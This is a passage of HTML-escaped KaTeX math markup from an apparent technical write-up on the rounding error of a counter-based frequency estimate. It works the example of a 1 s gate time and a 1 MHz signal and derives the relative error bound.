class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;⌋&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;⌊&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.32833099999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;Δ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;⌋&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;Even for &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mtext&gt;s&lt;/mtext&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;t_0 = 1\,\text{s} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.76508em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.64444em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord text&quot;&gt;&lt;span class=&quot;mord&quot;&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mtext&gt; &lt;/mtext&gt;&lt;mtext&gt;MHz&lt;/mtext&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;f = 1\,\text{MHz} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord text&quot;&gt;&lt;span class=&quot;mord&quot;&gt;MHz&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;, this works out to just the
±0.5 rouding error (&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Δ&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;t_{\Delta} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.76508em;vertical-align:-0.15em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.32833099999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;Δ&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is &lt;em&gt;really small&lt;/em&gt; compared to our measurement
interval). Poking at symbols for a bit leads to:&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mtable rowspacing=&quot;0.24999999999999992em&quot; columnalign=&quot;right left&quot; columnspacing=&quot;0em&quot;&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mover accent=&quot;true&quot;&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;^&lt;/mo&gt;&lt;/mover&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;[&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌊&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌋&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌊&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌋&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;]&lt;/mo&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌊&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mo stretchy=&quot;false&quot;&gt;⌋&lt;/mo&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo&gt;≈&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mover accent=&quot;true&quot;&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;^&lt;/mo&gt;&lt;/mover&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;[&lt;/mo&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msubsup&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mrow&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;/msubsup&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;]&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;mtr&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mover accent=&quot;true&quot;&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;^&lt;/mo&gt;&lt;/mover&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mfrac&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;mtd&gt;&lt;mstyle scriptlevel=&quot;0&quot; displaystyle=&quot;true&quot;&gt;&lt;mrow&gt;&lt;mrow&gt;&lt;/mrow&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;[&lt;/mo&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mfrac&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/msub&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;]&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;ϵ&lt;/mi&gt;&lt;/mrow&gt;&lt;/mstyle&gt;&lt;/mtd&gt;&lt;/mtr&gt;&lt;/mtable&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
\begin{aligned}
  \hat{f} t_0 &amp;amp;= [\lfloor f t_0 \rfloor - 1, \lfloor f t_0 \rfloor] \\
  k &amp;amp;= \frac{\lfloor f t_0 \rfloor}{f t_0} \approx 1 \\
  \hat{f} - f &amp;amp;= [k f - t_0^{-1}, k f] - f \\
  \frac{\hat{f} - f}{f} &amp;amp;= [k - \frac{1}{t_0 f}, k] - 1 = \epsilon
\end{aligned}
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:8.65852em;vertical-align:-4.07926em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mtable&quot;&gt;&lt;span class=&quot;col-align-r&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:4.57926em;&quot;&gt;&lt;span style=&quot;top:-7.256259999999999em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3.63488em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord accent&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.9578799999999998em;&quot;&gt;&lt;span style=&quot;top:-3em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.26344em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;accent-body&quot; style=&quot;left:-0.08332999999999999em;&quot;&gt;&lt;span class=&quot;mord&quot;&gt;^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.19444em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-5.1692599999999995em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3.63488em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03148em;&quot;&gt;k&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.03094em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3.63488em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord accent&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.9578799999999998em;&quot;&gt;&lt;span style=&quot;top:-3em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.26344em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;accent-body&quot; style=&quot;left:-0.08332999999999999em;&quot;&gt;&lt;span class=&quot;mord&quot;&gt;^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.19444em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-0.7360600000000004em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3.63488em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:1.6348799999999999em;&quot;&gt;&lt;span style=&quot;top:-2.314em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.677em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord accent&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.9578799999999998em;&quot;&gt;&lt;span style=&quot;top:-3em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.26344em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;accent-body&quot; style=&quot;left:-0.08332999999999999em;&quot;&gt;&lt;span class=&quot;mord&quot;&gt;^&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.19444em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.8804400000000001em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:4.07926em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;col-align-l&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:4.57926em;&quot;&gt;&lt;span style=&quot;top:-7.256259999999999em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3.63488em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;⌊&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;msupsub&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.30110799999999993em;&quot;&gt;&lt;span style=&quot;top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:2.7em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;sizing reset-size6 size3 mtight&quot;&gt;&lt;span class=&quot;mord mtight&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.15em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;⌋&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; 